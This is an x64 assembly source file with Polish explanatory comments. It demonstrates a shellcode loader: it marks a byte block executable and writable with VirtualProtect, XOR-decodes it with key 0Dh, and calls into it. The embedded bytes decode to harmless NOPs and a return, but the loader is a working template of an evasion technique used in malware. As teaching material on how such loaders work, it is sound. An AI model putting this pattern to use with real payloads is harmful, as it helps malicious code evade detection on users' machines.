extrn VirtualProtect : proc extrn ExitProcess : proc .const PAGE_EXECUTE_READWRITE equ 040h NULL equ 0 .data oldProtect dd 0 .code Main proc sub rsp, 28h mov r9, offset oldProtect ;zachowanie poprzednich atrybutów pamięci mov r8, PAGE_EXECUTE_READWRITE ;flaga ustawiająca blokowi kodu atrybuty pozwalające na wykonanie, czytanie i pisanie mov rdx, sizeof payload ;rozmiar bloku bajtów do zmiany atrybutów lea rcx, payload ;adres do bloku bajtów call VirtualProtect ;zmiana atrybutów pamięci sub rcx, rcx ;wyzerowanie rejestru licznika RCX lea rdx, payload ;wczytanie do rejestru RDX adresu pamięci o nazwie payload @@: xor byte ptr [rdx + rcx * sizeof byte], 0Dh ;alternatywa wykluczająca poszczególnych bajtów ładunku (ang. payload) z kluczem 0Dh inc rcx ;zwiększenie o jeden wartości rejestru RCX cmp rcx, sizeof payload ;sprawdzenie czy wartość licznika RCX osiągnęła wartość rozmiaru ładunku (ang. payload) jne @b ;jeśli nie, to skok do etykiety anonimowej wstecz (pętla) lea rax, payload ;wczytanie do rejestru RAX adresu do bajtów ładunku (ang. payload) call rax ;odłożenie na stos adresu powrotnego i skok do bajtów ładunku (ang. payload) xor rcx, rcx ;kod wyjścia = zero call ExitProcess ;zakończenie programu ;ciąg bajtów zawierający kod maszynowy jest zdefiniowany w sekcji kodu payload db 09Dh, 09Dh, 09Dh, 09Dh, 09Dh, 09Dh, 09Dh, 0CEh Main endp end